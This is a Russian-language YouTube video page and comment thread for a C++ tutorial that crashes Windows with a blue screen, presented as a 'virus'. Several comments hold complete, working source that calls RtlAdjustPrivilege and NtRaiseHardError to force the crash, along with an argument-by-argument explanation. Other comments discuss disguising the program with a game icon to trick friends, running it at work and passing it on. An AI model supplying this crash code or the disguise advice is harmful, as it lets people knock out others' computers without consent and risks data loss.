C++. Вызываем BSOD. Синий экран смерти. Кладем Винду. Вирус на C++

Поділитися
Вставка
  • Опубліковано 25 лют 2020
  • Поддержать проект - www.donationalerts.ru/r/bytepp
    В этом уроке вы узнаете как положить винду в несколько строчек. В видео будет показано как вызвать синий экран смерти (BSOD - Blue Screen of Death).
    Подписывайтесь на канал, ставьте лайки, задавайте вопросы в комментариях!

КОМЕНТАРІ • 82

  • @vadimoff22
    @vadimoff22 2 роки тому +47

    Вся суть программирования, всё уже давно кем-то сделано (библиотеки), тебе лишь нужно правильно это подключить и вызвать

    • @Bytepp
      @Bytepp  2 роки тому +4

      Во многих случаях так и есть)

    • @Bytepp
      @Bytepp  2 роки тому +3

      Это так сильно чувствуется когда программа простая) как в этом видео

  • @user-rn1zw5be5w
    @user-rn1zw5be5w 4 роки тому +37

    Спасибо, работает, пишу с телефона

    • @XTopsGD
      @XTopsGD 4 роки тому +3

      АХАХАХАХ

    • @hackerman5984
      @hackerman5984 3 роки тому +1

      Аха-ха-ха

    • @винди
      @винди 3 роки тому +3

      @Pozharnik 118 нее,ты че
      Системные файлы же не удалились)
      Синий экран не всегда значит то что компу звиздец

  • @user-tg1lh9ly5r
    @user-tg1lh9ly5r 4 роки тому +1

    Жоска)

  • @lulook2806
    @lulook2806 4 роки тому +12

    Хотелось бы подробного описания методов, продемонстрированных в ролике. (Очевидно, что можно просто загуглить, но если бы гуглить не приходилось, качество контента можно было бы считать более высоким)

  • @user-jl9we2dn4w
    @user-jl9we2dn4w 4 роки тому +4

    Не слушал автора и у себя на основном компе запустил. Испугался до одури думал всё конец)))))

    • @zxcqirara
      @zxcqirara 4 роки тому +3

      Не переживай, BSOD'ы на 10 и на 8 после перезагрузки проподают) (И на 7ке и на всите помойму тоже, не помню эту тему)

  • @skoragon
    @skoragon 2 роки тому +3

    Расскажи как сделать консольную программку, которая по клавише будет выключать ПК (1 или 2)

    • @obsosik_zasosik
      @obsosik_zasosik 7 днів тому +1

      Так это даже самому логично додуматься

  • @mrslashx
    @mrslashx 2 роки тому +1

    а сели в NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response); выдает ошибку что типо нет такого &response

  • @Imperion25
    @Imperion25 4 роки тому +5

    ооо )))) нужно будет такое на работе запилить хаха

    • @Bytepp
      @Bytepp  4 роки тому +6

      😈

    • @hackerman5984
      @hackerman5984 3 роки тому

      Потом п#зд&лей получить от начальника?

  • @Panacon1k
    @Panacon1k Рік тому

    А какого года у тебЯ визуал студио

  • @MrNippones
    @MrNippones 4 роки тому +10

    Что за функция, что она делает? Как вызывается ошибка и какая она (код ошибки)? Если вы делаете видео с обьяснением, так обьясняйте.

  • @youhhah6816
    @youhhah6816 3 роки тому +4

    Почему у меня не получается подключить библиотеку "stdafx.h"? Пишет ошибку e1696...

    • @themrsayer609
      @themrsayer609 3 роки тому

      его загружают самым первым, в первой строке напиши!

    • @themrsayer609
      @themrsayer609 2 роки тому

      @NitrousOWO
      #include "stdio.h"
      #include
      #include
      using namespace std;
      #pragma comment(lib, "ntdll.lib")
      extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
      extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
      PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
      void BSOD()
      {
      BOOLEAN bl;
      ULONG Response;
      RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // вызываем привилегии выключения(SeShutdownPrivilege)
      NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); //вызываем аварийное выключение пк
      }
      int main()
      {
      BSOD();
      }

  • @MRDigla-wu8wh
    @MRDigla-wu8wh 2 роки тому

    Поставьте лайк кому жалко моего друга.

  • @dedok6668
    @dedok6668 3 місяці тому

    А как сделать что нельзя было закрыть screen melting

  • @4lexei
    @4lexei 3 роки тому +3

    Кстати можно поменять код ошибки с 0xc0000420 на 0xc0000350 или другой

    • @selimkatolk2931
      @selimkatolk2931 Рік тому

      Еще 0x0000x и x00000000xx0

    • @zimavi
      @zimavi 9 місяців тому

      Поменяй «STATUS_ASSERTION_FAILURE» на «(DWORD)L» например: «(DWORD)0x12345678L»

  • @timays-tik4204
    @timays-tik4204 Рік тому

    а на реальный пк можно запустить

  • @user-lf4ge5dd5q
    @user-lf4ge5dd5q 3 роки тому +2

    Byte++, если запустить этот вирус виндо переустанавливать нада?

    • @Bytepp
      @Bytepp  3 роки тому +1

      Я на виртуалке сколько их разных запускал, а в итоге она только перезагружалась и всё) ничего не ломалось на ней

    • @user-lf4ge5dd5q
      @user-lf4ge5dd5q 3 роки тому

      @@Bytepp Лол я попробывал теперь -файлообменник, -проводник, винду реинсталлю НУ СПАСИБКИ!!!

    • @Bytepp
      @Bytepp  3 роки тому

      @@user-lf4ge5dd5q, ну хоть без замены материнки

    • @user-lf4ge5dd5q
      @user-lf4ge5dd5q 3 роки тому

      @@Bytepp Вот это оправдание

    • @user-fn1pk8sc9s
      @user-fn1pk8sc9s 3 роки тому

      @@user-lf4ge5dd5q наверное надо на виртуалке это делать

  • @devgamerofrobli2488
    @devgamerofrobli2488 4 роки тому

    Хотел спросить,на чем вообще пишутся вирусы?По типу Wannacry, Mydoom,Petya и тд?

    • @Bytepp
      @Bytepp  4 роки тому +8

      Думаю большая часть на ассемблере, c/c++) пока инфу в интернете искал, встретил такой заголовок "Эксперты: код вируса WannaCry был написан на китайском языке"😆

    • @toxidworm
      @toxidworm 3 роки тому

      @@kot9664 Это компьютерный червь который написан на visual basic script и перезаписывает файлы .mp3 .png и т.д. нанёс очень большой и непоправимый ущерб. Вот так вот.

    • @bostanaruliviu2764
      @bostanaruliviu2764 3 роки тому

      only C/C++

    • @gregoryburton2909
      @gregoryburton2909 Рік тому

      Бабки, Бабки с"ка бабки

  • @Imperion25
    @Imperion25 4 роки тому +1

    скажите, на других языках это тоже можно сделать? C#, Java, питон

    • @user-tn3bw1wg8w
      @user-tn3bw1wg8w 4 роки тому +1

      Да делается, обращение делаешь к тем библиотекам которые были использованы, в данном ролике)

  • @mrbalon8653
    @mrbalon8653 3 роки тому

    Возможно-ли написать похожу программу на Java?

    • @hackerman5984
      @hackerman5984 3 роки тому

      Мне кажется на JS(Java Script), ещё хардкорнее будет).

    • @lifemoment7970
      @lifemoment7970 2 роки тому

      Все можно писать на языке общего предназначение

  • @what-lr6cj
    @what-lr6cj 3 роки тому

    А на него можно поставить иконку игры?

    • @Bytepp
      @Bytepp  3 роки тому

      Конечно

    • @what-lr6cj
      @what-lr6cj 3 роки тому +3

      @@Bytepp а ну изи троллинг, спасибо

    • @Bytepp
      @Bytepp  3 роки тому +1

      @@what-lr6cj, это и через vs можно сделать и через другие программы

  • @zxcqirara
    @zxcqirara 4 роки тому +1

    Я один такой, у которого ошибка *при компиляции* :
    BsodScreen\x64\Release\BsodScreen.exe : fatal error LNK1120: неразрешенных внешних элементов: 1

  • @sterd2009
    @sterd2009 Рік тому

    Блин, сложно, я уже писал тестовые вирусы, но на другом языке

  • @user-uq7eq3db2q
    @user-uq7eq3db2q Рік тому

    Как потом его убрать ?

  • @madishman4861
    @madishman4861 3 роки тому +2

    stadfx.h пишет ошибку

    • @themrsayer609
      @themrsayer609 3 роки тому

      его загружают самым первым, в первой строке напиши

    • @madishman4861
      @madishman4861 2 роки тому

      @@themrsayer609 всё ровно не работает

    • @themrsayer609
      @themrsayer609 2 роки тому

      @@madishman4861
      #include
      #include
      #include
      #include
      #include
      #include
      #include
      using namespace std;
      #pragma comment(lib, "ntdll.lib")
      extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
      extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
      PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
      void BSOD()
      {
      BOOLEAN bl;
      ULONG Response;
      RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // вызываем привилегии выключения(SeShutdownPrivilege)
      NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); //вызываем аварийное выключение пк
      }
      int main(){
      BSOD();return 0;}

  • @user-tb8sf1wr1n
    @user-tb8sf1wr1n 4 роки тому +2

    Есть некоторые вирусы которые могут повредить конфигурацию ос , повреждать железо я ахуел когда узнал . У меня синий экран был то из за диска. То из за опеоативки ,конфигурация я все типы синих экранов уже посмотрел на своем пк . Жесть помогите если знаете с чем я связался!

    • @toxidworm
      @toxidworm 3 роки тому +1

      Скорее всего у тебя не вирус а проблемы с комплектующими пк или драйверами, попробуй загрузиться в безопасном режиме и откатить дрова

  • @user-li8zm5kq1j
    @user-li8zm5kq1j 4 роки тому +9

    Не очень понятно, что написано в коде. Что за методы? и т.д.
    Если это возможно, поясните. А то просто вредоносный код и только . Познавательного смысла ролик не несёт. Спасибо.

    • @user-ql3zv5gc4m
      @user-ql3zv5gc4m 4 роки тому

      Скорее всего автор сам не имеет понятия как это работает.

    • @fals3r99
      @fals3r99 4 роки тому +9

      Вообще, можно загуглить и разобраться, дело двух минут, но для остальных объясню:
      Вначале идет описывание функций, т.к некоторые намернно незадекларированы.
      Первая функция RtlAdjustPrivilege дает/забирает доступ к определенным правам, без которых некоторые функции не получится вызвать.
      Пройдемся по аргументам:
      Первый: 19 - номер привилегии, с которым мы будем работать, в данном случае это SE_SHUTDOWN_PRIVILEGE, полный список есть в wdm.h
      Второй: true - если тру, то привилегия выдается, если фолс, соответственно забирается.
      Третий: false - если тру, то привилегия выдается только для потока в котором она вызывалась, если фолс, то для всего процесса.
      Четвертый аргумент возвращает предыдущее состояние привилегии, то есть была ли она выдана или нет.
      Вторая функция как раз таки и вызывает бсод путем передачи OptionShutdownSystem в предпоследний аргумент, но вызвать её можно только имея определенные права, а именно SE_SHUTDOWN_PRIVILEGE, который мы как раз и выдаем предыдущей командой.

    • @CoderingMojangDev
      @CoderingMojangDev Місяць тому

      @@fals3r99 да вы прям ходячий заголовочный файл WINAPI

  • @canceriogen
    @canceriogen 8 місяців тому

    Ох уш эти хацкеры

  • @dmitriytyurnin4605
    @dmitriytyurnin4605 4 роки тому +1

    Замечание к названию.
    Это не вирус, а его возможная 'полезная' нагрузка.
    Где заражение? Где размножение?

    • @hargoline_4205
      @hargoline_4205 2 роки тому +3

      Скинь другу вот и заражение, он по приколу знакомому скинет вот и размножение

  • @xow998
    @xow998 4 роки тому

    ИМХО, что бы ролики смотрелись еще лучше, пожалуйста, убери из роликов свое "английское" произношение. Зачем оно здесь? БСОД есть БСОД, синий экран смерти, на этом покончили.